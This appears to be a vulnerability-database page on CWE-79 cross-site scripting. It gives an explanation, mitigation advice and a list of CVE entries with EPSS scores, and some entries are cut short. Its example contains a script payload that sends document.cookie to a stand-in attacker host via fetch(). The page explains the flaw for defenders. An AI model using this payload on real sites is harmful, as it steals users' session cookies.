Fallos del tipo CWE-79

28.462 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-0594HIGHGrafana is an open-source platform for monitoring and observability. Starting with the 7.0 branch, Grafana had a stored XSS vulnerability EPSS 9.2%CVE-2023-4174LOWmooSocial mooStore cross site scriptingEPSS 9.1%CVE-2023-30256MEDIUMCross Site Scripting vulnerability found in Webkil QloApps v.1.5.2 allows a remote attacker to obtain sensitive information via the back andEPSS 9.1%CVE-2021-41183MEDIUMXSS in `*Text` options of the Datepicker widgetEPSS 8.5%CVE-2024-54779MEDIUMNetgate pfSense CE (prior to 2.8.0 beta release) and corresponding Plus builds is vulnerable to Cross Site Scripting (XSS) in widgets/log.wiEPSS 8.5%CVE-2023-4113MEDIUMPHP Jabbers Service Booking Script index.php cross site scriptingEPSS 8.4%CVE-2023-4116MEDIUMPHP Jabbers Taxi Booking index.php cross site scriptingEPSS 8.4%CVE-2023-4115MEDIUMPHP Jabbers Cleaning Business index.php cross site scriptingEPSS 8.4%CVE-2023-4112MEDIUMPHP Jabbers Shuttle Booking Software index.php cross site scriptingEPSS 8.4%CVE-2021-23282MEDIUMStored Cross-site Scripting reported in Intelligent Power Manager v1EPSS 8.3%CVE-2023-4114MEDIUMPHP Jabbers Night Club Booking Software index.php cross site scriptingEPSS 8.3%CVE-2024-31204MEDIUMmailcow Cross-site Scripting Vulnerability via Exception HandlerEPSS 8.2%CVE-2022-0422—White Label MS < 2.2.9 - Reflected Cross-Site ScriptingEPSS 8.1%CVE-2023-30212MEDIUMOURPHP <= 7.2.0 is vulnerale to Cross Site Scripting (XSS) via /client/manage/ourphp_out.php.EPSS 8.1%CVE-2024-31839MEDIUMCross Site Scripting vulnerability in tiagorlampert CHAOS v.5.0.1 allows a remote attacker to escalate privileges via the sendCommandHandlerEPSS 8.0%CVE-2025-1392MEDIUMD-Link DIR-816 index.html cross site scriptingEPSS 8.0%CVE-2022-23808MEDIUMAn issue was discovered in phpMyAdmin 5.1 before 5.1.2. An attacker can inject malicious code into aspects of the setup script, which can alEPSS 7.9%CVE-2021-29484MEDIUMDOM XSS in Theme PreviewEPSS 7.9%CVE-2021-21803CRITICALThis vulnerability is present in device_graph_page.php script, which is a part of the Advantech R-SeeNet web applications. A specially craftEPSS 7.9%CVE-2016-2279MEDIUMCross-site scripting (XSS) vulnerability in the web server in Rockwell Automation Allen-Bradley CompactLogix 1769-L* before 28.011+ allows rEPSS 7.6%